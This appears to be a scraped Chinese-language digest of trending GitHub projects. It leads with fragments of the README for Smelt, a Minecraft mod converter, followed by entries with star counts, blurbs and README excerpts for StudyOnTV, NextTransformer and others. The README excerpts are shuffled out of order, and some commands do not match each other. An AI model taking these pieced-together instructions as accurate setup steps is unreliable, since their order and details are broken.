<img src="assets/cli.gif" alt="smelt converts a mod and checks a whole mods folder in PowerShell" width="820"> </p> ```bash smelt zoom.jar # convert one mod, add it to Horizon smelt check ./mods # verdicts only, nothing written smelt ./mods --out ./converted # convert a folder, don't install smelt zoom.jar --keep-project ./zoom # keep the generated Cargo project ``` | Option | What it does | |---|---| | `--out <dir>` | Write the `.hnmod` and `.hmod` files to a folder instead of Horizon |
<p align="center"> <img src="assets/banner.png" alt="Smelt. Drop a Java mod, get it back in Rust." width="100%"> </p> <p align="center"> <a href="#download"><img src="https://img.shields.io/badge/release-v1.1.21-e8834a?style=flat-square" alt="Release v1.1.21"></a> <a href="LICENSE"><img src="https://img.shields.io/badge/license-MIT-7fd3ae?style=flat-square" alt="MIT license"></a> <img src="https://img.shields.io/badge/Windows%20%C2%B7%20Linux-portable-9fb6cc?style=flat-square" alt="Windows and Linux, portable">
| `--keep-project <dir>` | Keep the generated Cargo project for hand editing | | `--horizon <dir>` | Use a specific Horizon install | | `--plan <file.md>` | Write the port plan as a Markdown checklist | | `--json` | Machine-readable verdicts, for CI | ## Build from source You need Rust 1.85 or newer. The desktop app also needs the [Tauri prerequisites](https://v2.tauri.app/start/prerequisites/) for your system. ```bash git clone https://github.com/Ropesehypnotize/java-mod-rust-port-tool.git cd smelt cargo build --release -p smelt-cli # the smelt command cargo test --workspace
| Machines, pipes, new mob behaviour, world generation | Partly or won't run | | Shaders, rendering engines, performance mods | Won't run | Smelt doesn't guess. If a piece of a mod can't be rewritten safely, it's left out and the verdict says so. You never get a mod that loads and then breaks your world. ## How it works <p align="center"> <img src="assets/how-it-works.png" alt="mod.jar is read, rewritten in Rust and packed into a .hnmod for code and a .hmod for blocks and textures" width="100%"> </p>
<details> <summary><b>Will a converted mod work in normal Minecraft?</b></summary> No. It's made for Minecraft on Rust only. Keep the original `.jar` for Java Edition. </details> <details> <summary><b>Is it safe?</b></summary> Smelt works offline and never uploads your mods. Mods with code run unsandboxed in Horizon, so Horizon asks you to trust each one. Only convert mods you would trust on Java Edition too. </details> <details> <summary><b>Can I share a mod I converted?</b></summary> Check the original mod's license first. A converted mod is still its author's work. </details>
<details> <summary><b>My mod says "Won't run". What now?</b></summary> Usually it changes how the game draws or depends on parts of Java Minecraft that Minecraft on Rust doesn't have yet. Try again after Smelt or Horizon updates. If you think the verdict is wrong, open an issue and attach `smelt check <mod>.jar --json`. </details> <details> <summary><b>Does it handle Forge or Quilt mods?</b></summary> NeoForge and Fabric today. Quilt mods that only use the Fabric API usually work. Older Forge mods aren't supported. </details> ## License
- chadyi/StudyOnTVKotlin · 404 Stars
屏幕时间管控、答题解锁、家长管理
Stars 统计更新于 2026/11/6 07:56:07
查看原始资料
作者描述
StudyOnTV (Tiledaoti TV) — open-source Android TV app where kids unlock screen time by answering questions. Runs fully on the TV: no server, no account. Parents scan a QR code and manage questions from the LAN. Learn first. Watch later.
编报时的 AI 中文解读
这是一款面向家庭的Android应用，让孩子先答题再解锁设备使用时间，支持手机、平板和电视，无需自建服务器。
编报时的 README 依据
[](./LICENSE) </div> --- ## 安装 Android 平板、手机和电视使用同一套规则，分别安装对应版本： - [**手机/平板/TV GitHub 下载**](https://github.com/chadyi/StudyOnTV/releases) - **[手机 / 平板版 · 蒲公英下载](https://www.pgyer.com/StudyOnTVMobile)** - **[TV 版 · 蒲公英下载](https://www.pgyer.com/StudyOnTVTV)** 手机和平板直接下载安装；电视可通过 U 盘或 ADB 安装。首次打开设置管理密码，权限可以按需开启，也可以稍后再设置。 👉 **[安装指南 → docs/install.md](./docs/install.md)** --- ## 它能做什么 孩子先完成学习任务，再解锁设备使用时间，到时显示新的学习任务。平板和手机支持触屏、公式、语音输入与手写，电视支持遥控器。题库、规则、使用记录和加练池都保存在被控设备。
<br><sub>遥控器选题，答完在下方显示对错、正确答案与解析</sub> <br><br> <img src="./docs/screenshots/v0.3.0/tv-pair.png" width="780" alt="家长扫码连接"> <br><sub>家长用手机扫码，同一个 WiFi 即可管理</sub> <br><br> <img src="./docs/screenshots/v0.3.0/tv-lock-schedule.png" width="780" alt="未到可用时段"> <br><sub>未到可用时段时停留提示页，显示下次可用日期和时间</sub> <br><br> <table><tr> <td align="center"><img src="./docs/screenshots/v0.3.0/parent-rules.png" width="220" alt="规则设置"><br><sub>规则设置</sub></td> <td align="center"><img src="./docs/screenshots/v0.3.0/parent-bank.png" width="220" alt="题库管理"><br><sub>题库管理</sub></td>
| 答错加练 | 累计错误阈值与每次加练题量 | | 主观题批改 | 家长 / Agent 或 AI API，支持及格分与评分标准 | --- ## 题库 - 手机上新增、删除、即时生效 - **导出 JSON** 发给群里其他家长，对方「导入」一贴即用 - 内置 50 题：唐诗填空、100 以内加减法、英语基础单词 - 让 AI 批量出题：把 [接口说明](./docs/ai-api.md) 发给 WorkBuddy / Codex 等 Agent，让它直接往被控设备里写题 --- ## 它是怎么工作的 ``` 被控设备 App（手机 / 平板包，独立 TV 包） ├── 内置网页：答题 / 锁屏 / 扫码页（离线可用） ├── 内置 HTTP 服务：局域网 8099 端口 └── 本地 SQLite：规则 + 题库 + 事件记录 手机端 └── 扫二维码 → http://<设备IP>:8099/admin/ → 输入管理密码 ``` 管理密码在首次使用时设置。扫码只打开地址，面板和 API 都需要验证；没有项目自建云端和账号体系。 --- ## FAQ **Q：孩子把 App 强退了怎么办？** A：可以按设备条件开启悬浮窗或无障碍，并允许后台运行。系统强制停止应用、撤销权限或卸载会影响管控；重新打开后可以在家长设置中调整权限。
<div align="center"> # 题了个题 · 平板 / 手机 / TV ### 先学再看 · 让每一点进步被看见 **Learn first. Watch later.** · 支持Android 平板、手机和电视，不需要自建服务器 [](https://github.com/chadyi/StudyOnTV/stargazers) [](https://github.com/chadyi/StudyOnTV/releases/latest) [](https://github.com/chadyi/StudyOnTV)
**Q：支持开机自启动吗？** A：已接入 Android 开机与部分快速开机广播。请先打开 App 完成首次设置，并按厂商要求允许自启动、后台运行。小米等电视的遥控器待机、厂商清后台未必发送开机广播，需要在实际设备上验证，详见 [安装指南](./docs/install.md)。 **Q：支持哪些设备？** A：Android 5.0+ 的平板、手机和电视。厂商后台限制需要在实际设备上确认，鸿蒙 NEXT / Tizen / webOS 待支持。 **Q：数据会传到网上吗？** A：题库和记录保存在被控设备。开启 AI 批改后，题目和答案会发送到家长配置的服务；项目中已有的第三方统计配置另见 [统计说明](./docs/analytics.md)。 **Q：更换电视会丢数据吗？** A：题库可以在手机管理页导出 JSON，换电视后重新导入。 --- ## 技术栈 | 层 | 技术 | |---|---| | Android 原生 | Kotlin，零第三方依赖 | | 学习页面 | 原生 ES5 + CSS，兼容老 WebView | | 手机管理页 | React + shadcn/ui | | 本地存储 | SQLite（Android 内置） | | 局域网通信 | Kotlin ServerSocket，HTTP/1.1 | --- ## 社区建议与致谢
本项目已链接并认可 [LINUX DO](https://linux.do) 社区。 ## License 源码可查阅，**仅限个人家庭使用**，禁止商业用途和二次分发。欢迎 Issue 反馈问题。 商业授权请通过 [GitHub Issues](https://github.com/chadyi/StudyOnTV/issues) 联系作者。
- Interactive-Active-AI/NextTransformerPython · 319 Stars
架构研究、基准测试、模型训练
Stars 统计更新于 2026/11/6 07:56:07
查看原始资料
作者描述
:sunrise: A comprehensive, cutting-edge open-source framework for next-generation Transformers/LLM, with compute-matched benchmarking and a platform for autonomous architecture research.
编报时的 AI 中文解读
NextTransformer 是一个用于下一代 Transformer/LLM 架构研究的开源框架、基准测试和自动研究平台，提供统一训练、评估和协议。
编报时的 README 依据
Parameters, memory and speed are outcomes, not controls. The [protocol](https://interactive-active-ai.github.io/NextTransformer/docs/protocol/overview/) explains every rule and the [compute accounting](https://interactive-active-ai.github.io/NextTransformer/docs/protocol/compute/) what is counted. ## Add your method New methods and Arena entries follow the same submission process. 1. [Open a proposal issue](https://github.com/Interactive-Active-AI/NextTransformer/issues/new/choose) to discuss the method and run plan.
**When the training budget is fixed, how should a language model spend its computation?** NextTransformer trains recurrent depth, sparse and linear attention, residual-stream variants and hybrids on the same data, for the same 49.152B tokens, at the same theoretical training FLOPs per token, and evaluates them at the same checkpoints. Every result is an audited, file-backed record, and AI agents can research new architectures under the very same rules. ## News
cp site.native.example.json site.local.json # set runtime_dir, resources and data_dir hf download karpathy/climbmix-400b-shuffle --repo-type dataset \ --revision 915333b4f8b8684f39aeaafea600fea6f43fb703 --local-dir /path/to/climbmix-400b-shuffle source launch/env.sh --site-config site.local.json python -m nexttransformer.prepare --site-config site.local.json ``` **3. Train on one node with 8 GPUs:** ```bash launch/train.sh --config configs/baseline/dense_full.json --site-config site.local.json \ --output runs/dense_full --micro-batch 8 --formal --resume auto ```
**4. Multi-node training (2 nodes × 8 GPUs)** Install `uv pip install accelerate==1.15.0` in the training environment. Submit one distributed job with the following per-node entry point. Map the platform's node rank, main node address and port to the three variables shown: ```bash export FLA_DISABLE_BACKEND_DISPATCH=1 # registered FLA Triton path (linear and hybrid methods) accelerate launch --config_file launch/accelerate.yaml \ --machine_rank "$NODE_RANK" --main_process_ip "$MASTER_ADDR" --main_process_port "$MASTER_PORT" \
<!-- /generated:leaderboard --> ## Quick start **1. Install** (Linux, NVIDIA GPUs, [uv](https://docs.astral.sh/uv/)): ```bash git clone https://github.com/Interactive-Active-AI/NextTransformer.git && cd NextTransformer uv sync --frozen --extra gpu --extra upstream && source .venv/bin/activate uv pip install --no-deps --require-hashes -r requirements/linear.txt # linear-attention kernels ``` **2. Prepare the data** (ClimbMix at a pinned revision, about 600 GB, plus the tokenizer and CORE bundle): ```bash
<img alt="Python 3.10-3.13" src="https://img.shields.io/badge/python-3.10--3.13-3776AB?style=flat-square&logo=python&logoColor=white"> <img alt="PyTorch 2.9.1" src="https://img.shields.io/badge/PyTorch-2.9.1-EE4C2C?style=flat-square&logo=pytorch&logoColor=white"> <a href="https://discord.gg/k2XPXW6Jz"><img alt="Discord" src="https://img.shields.io/badge/Discord-join-74638C?style=flat-square&logo=discord&logoColor=white"></a>
<a href="https://interactive-active-ai.github.io/NextTransformer/docs/arena/overview/"><img src=".github/assets/readme/arena-en.webp" alt="Arena v2, by November 14, 2026: agent-native research, end to end" width="100%"></a> > [!NOTE] > **The arena is in active development.** Arena v2, with full support for autonomous agent research (a research gym > with MCP tools, metered compute, research traces and self-improving research loops), ships by **November 14, 2026**. Any LLM, with or without a research framework, can already enter an architecture today: it is trained under the same
- apekshik/anyscenePython · 317 Stars
3D场景生成、AI辅助创作
Stars 统计更新于 2026/11/6 07:56:07
查看原始资料
作者描述
Photoreal Blender scenes from a one-paragraph brief, built by AI agents: image→3D props on fal, scripted layout, lighting, camera and grade.
编报时的 AI 中文解读
AnyScene 是一个由 AI 代理驱动的 Blender 场景构建工具，能够根据一段文字描述或参考图片自动生成完整的、带灯光和材质的 3D 场景。它适用于希望快速创建电影级 3D 环境的概念设计师、3D 艺术家和内容创作者。
编报时的 README 依据
> Use SKILL.md to build a new scene: a Lisbon tram depot at dawn, one tram half-stripped for repair. Or start from your own references: put a few images (and, optionally, a floor plan) in `refs/<scene>/` and say so: > Use SKILL.md to build a scene from the reference images in refs/lisbon-tram-depot/. Treat them as the approved concept. Check the agent's work at each gate: concept, prop picks, clay layout, lit stills, shot previews. Expect most of a day of agent time and 1–2 GPU-hours of final renders per scene. ## How the agent works
If you'd rather not set up Blender, a GPU and the toolchain, the hosted endpoint runs the whole build on fal: send one to four reference images (and an optional prompt), and get back the scene package (`scene.blend` with every prop as its own object, a `scene.glb`, stills and panoramas; walkthroughs render on the farm). The bakery above was built this way, from a single image. <!-- TODO(apek): link the public endpoint page / model id here once it's listed. --> The endpoint's code is in [`builder/`](builder) if you want to deploy your own copy to your fal account
This repo is the process and the code. The finished scenes (.blend files, generated models, textures, renders) add up to tens of gigabytes and are not in git. Each scene folder keeps what's needed to rebuild it: its prop list (`assets.json`), model picks with reasons (`picks.json`), shots (`shots.json`), notes and build scripts. ## Quick start You need: - [Blender](https://www.blender.org/) 5.0 or newer. Set `BLENDER` if it isn't on your PATH or in the default install location. - [Node](https://nodejs.org/) 20 or newer, then `npm install` in the repo root.
- A [fal API key](https://fal.ai/dashboard/keys) in `FAL_KEY`. Generation is billed to your fal account: roughly $1.65 per prop (an image plus two 3D models), so about $150 for a 90-prop scene. - ffmpeg with an H.264 encoder (`FFMPEG`, default `ffmpeg`). The example scenes were built on Windows with an NVIDIA GPU and use `h264_nvenc`; on other machines, swap in `libx264`. - [uv](https://docs.astral.sh/uv/) for the Python helper scripts. - [Claude Code](https://claude.com/claude-code). - A GPU with 12–16 GB of memory for Cycles. Then open the repo in Claude Code and ask for a scene:
- Balanov/latchJavaScript · 227 Stars
代理服务契约
查看原始资料
作者描述
One tiny HTTPS contract between any agent and any service. Quote, approve, commit, receipt. Zero dependencies. MIT.
编报时的 AI 中文解读
LATCH 是一个用于代理与服务之间交互的极简 HTTPS 协议，通过单个 POST 端点定义 five 个操作（询问、报价、批准、提交、状态），无需 SDK，零依赖。适用于需要简单、契约化交互的代理和服务集成场景。
- yang0/chatgpt2api-dshJavaScript · 209 Stars
模型接口服务、图像生成、账号管理
查看原始资料
编报时的 AI 中文解读
这是一个在本地电脑上运行的账号池插件，为其他软件提供OpenAI兼容的API接口，支持文本生成和图片生成。适用于需要在本地管理多个账号并对外提供API服务的用户。
- Cranefomo/blackbirdPython · 186 Stars
账号搜索、AI辅助分析
查看原始资料
作者描述
An OSINT tool to search for accounts by username and email in social networks.
编报时的 AI 中文解读
Blackbird 是一个 OSINT 工具，用于在社交网络中通过用户名和邮箱搜索账号，并提供免费的 AI 辅助分析。
- zeemscript/block-rollTypeScript · 160 Stars
文件存储共享、文件公证、SDK集成
查看原始资料
作者描述
Non-custodial, encrypted file storage & sharing platform with Stellar payments and on-chain file notarization
编报时的 AI 中文解读
BlockRoll 是一个非托管的加密文件存储与共享平台，支持 Stellar 支付和链上文件公证，并提供多种 SDK 供开发者集成。
- silverdugongenhance/PromptReel未标注语言 · 151 Stars
视频生成
查看原始资料
作者描述
Free desktop app that turns a text prompt into a short video clip on your own PC. Local AI text-to-video with Wan 2.2: type a scene, pick wide, vertical or square, get an MP4. No credits, no subscription, no queue. Windows 10/11.
编报时的 AI 中文解读
PromptReel 是一款免费的 Windows 桌面应用，通过输入文字描述即可在本地生成短视频片段，支持宽屏、竖屏或方形格式，无需积分或订阅。
- Balanov/equalGo · 150 Stars
API流量录制、本地沙箱、OpenAPI生成
查看原始资料
作者描述
Turn real API traffic into a local sandbox and OpenAPI. Tiny static Go binary, any HTTP SDK, offline development, MIT.
编报时的 AI 中文解读
EQUAL 是一个开发测试工具，将真实 API 流量记录为本地沙箱和 OpenAPI 文档，支持离线开发、确定性 CI 和 API 文档生成。适用于需要在不稳定或受限网络环境下开发、测试或迁移 API 的开发者。
- DEEIX-AI/WincRust · 140 Stars
文本编辑、代码编辑、Git操作
查看原始资料
编报时的 AI 中文解读
一款基于 Rust 自研渲染引擎的轻量级桌面文本编辑器，启动快、内存占用低，支持多光标、查找替换、语法高亮、Git 集成和文件预览，适用于处理超大文件的日常编辑场景。
- cocoa-butter/cca-bid-plannerTypeScript · 117 Stars
投标计划生成、拍卖模拟、风险报告
查看原始资料
编报时的 AI 中文解读
为 Uniswap 连续清算拍卖（CCA）生成只读投标计划的工具。输入拍卖、预算和需求假设，输出投标时间表，并模拟不同场景下的预期成交、均价、最差情况和退款风险。
- joinpactora/pactoraHTML · 113 Stars
任务恢复
查看原始资料
编报时的 AI 中文解读
RelayWorks 是一个面向 AI 代理任务恢复的网站和恢复控制台，提供漫画风格落地页、实时控制台、代币页面和产品蓝图。适用于需要将中断的代理任务交接给专家完成的用户。
- YT-Proteus-bot/MineAgentPython · 111 Stars
Agent流程编排、代码生成、模型配置
查看原始资料
作者描述
agent定制自由化，agent流程可视化。在浏览器里用画布搭出工业级 Agent 流程，选框架自动生成架构图， 拖节点、连线、写代码、配模型，点「保存」就把整张画布编译成一个可独立运行的 Python Agent 项目， 点「运行」直接在你的机器上真实执行并流式回传每一步。欢迎各位同行二次开发，如有商用请说明出处。
编报时的 AI 中文解读
MineAgent 是一个在浏览器中通过画布可视化编排 Agent 流程的工具，支持拖拽节点、连线、配置模型，并能将画布编译为独立运行的 Python Agent 项目，适合希望低门槛构建和运行 Agent 应用的开发者。
- IGOLz/ImmichGallerySwift · 111 Stars
照片管理
查看原始资料
作者描述
Independent open-source macOS photo gallery client for Immich. Early development.
编报时的 AI 中文解读
面向macOS用户的独立开源照片客户端，通过Apple Photos风格界面浏览和管理Immich服务器中的照片与视频库，支持编辑、上传、搜索和分享等操作。
- PigCanFly1001/unitytool-agent-radarJavaScript · 106 Stars
链上监控、风险审计、提醒通知
查看原始资料
作者描述
Real-time radar for Binance Agent ID wallets on BNB Smart Chain.
编报时的 AI 中文解读
实时追踪BNB Smart Chain上持有Binance Agent ID的AI Agent钱包，展示其买卖、铸造、领取等行为，并在Agent集中涌入新项目时发出提醒。适合关注链上AI Agent动态的用户。
- aa523656718-cloud/auto-ontology未标注语言 · 104 Stars
模型本地部署、模型接口服务、模型切换
查看原始资料
作者描述
Auto Ontology is a Python framework for building semantic, graph-based reasoning layers over data. It enables deterministic query generation, better context retrieval, and more explainable AI for LLM and agent workflows.
编报时的 AI 中文解读
Auto Ontology 是一个用于构建语义图层的 Python 框架，为 LLM 和 Agent 工作流提供基于图谱的推理能力，支持从元数据生成企业本体，并通过 MCP、CLI 和 API 将语义上下文暴露给任何智能体框架。
- MotherSphere/NIKKE-Launcher-CheckRust · 94 Stars
安全检测
查看原始资料
作者描述
Read-only check for traces of the November 2026 NIKKE PC launcher compromise. Windows, Linux (Proton, Steam Deck) and macOS.
编报时的 AI 中文解读
用于检测NIKKE PC启动器在2026年11月安全事件中留下的恶意痕迹，包括恶意脚本、远程访问代理、DLL和注册表项。适用于Windows、Linux（含Steam Deck）和macOS用户，提供快速扫描和完整扫描模式。
- AxiomMath/StacksLean · 93 Stars
数学研究资料、形式化证明
查看原始资料
作者描述
A Lean formalization of the Stacks Project
编报时的 AI 中文解读
这是一个Lean 4的形式化项目，旨在将代数几何的Stacks Project中的每个可形式化标签用Lean证明，并标注对应EGA和SGA条目。适合数学研究者或形式化验证贡献者使用。
- joinpactora/relayworks-recoveryTypeScript · 90 Stars
任务恢复、数据增强、数据提取
查看原始资料
编报时的 AI 中文解读
RelayWorks Recovery 是一个用于恢复中断的 AI 代理任务的服务引擎，从最后一个良好检查点继续执行，而不是重新开始。它面向需要处理结构化数据任务（如 JSON 或 CSV 增强、提取、规范化）的客户和提供商，通过验证和 USDC 结算确保完成块被保留。
- 0xSero/video-editPython · 82 Stars
视频剪辑、隐私保护、音频编辑
查看原始资料
编报时的 AI 中文解读
这是一个将原始屏幕录制（如OBS或演讲视频）自动剪辑成适合上传的YouTube视频的工具包，包含Agent技能和脚本。它通过转录驱动剪辑、去除静音和静态画面、模糊敏感信息、优化音频并验证渲染结果，专为macOS上的45-90分钟录制转20-30分钟视频的工作流设计。
- orkbot-run/orkTypeScript · 80 Stars
AI助手、对话共享、本地部署
查看原始资料
作者描述
Source-available AI assistant with persistent bots that share conversations and work on isolated computers. Self-hosted, with web, desktop, and mobile apps.
编报时的 AI 中文解读
Ork 是一个可自行托管的 AI 助手，支持持久化机器人共享对话并在隔离计算机上运行，提供 Web、桌面和移动端应用。适合希望本地部署并管理多个 AI 机器人的个人或团队。
- Kemerd/claude-hardware-in-the-loopPython · 78 Stars
PCB设计、CAD建模、固件开发
查看原始资料
作者描述
Agent-driven hardware-in-the-loop engineering method: Claude Code skill, swarm orchestration, generator-first KiCad PCB pipeline, CadQuery CAD, firmware-in-the-loop, web CAD/PCB viewer. Source-available (HIL-ASA-1.0).
编报时的 AI 中文解读
这是一个让AI代理设计PCB、CAD和固件的硬件在环工程方法，包含Claude Code技能和经过测试的项目骨架。它通过自动化门禁验证设计，适合希望用AI辅助硬件开发并确保质量的工程师。
- ninetyhe-90/training-exploreTypeScript · 77 Stars
模型训练学习
查看原始资料
作者描述
Interactive explorer for learning how large language models are trained
编报时的 AI 中文解读
Training Explorer 是一个交互式学习工具，通过播放、单步和逐项核对的方式，直观展示大语言模型训练过程中 Token、矩阵、注意力权重等内部状态的变化，帮助学习者理解 Transformer 架构与训练原理。
其余 23 个项目见收录列表。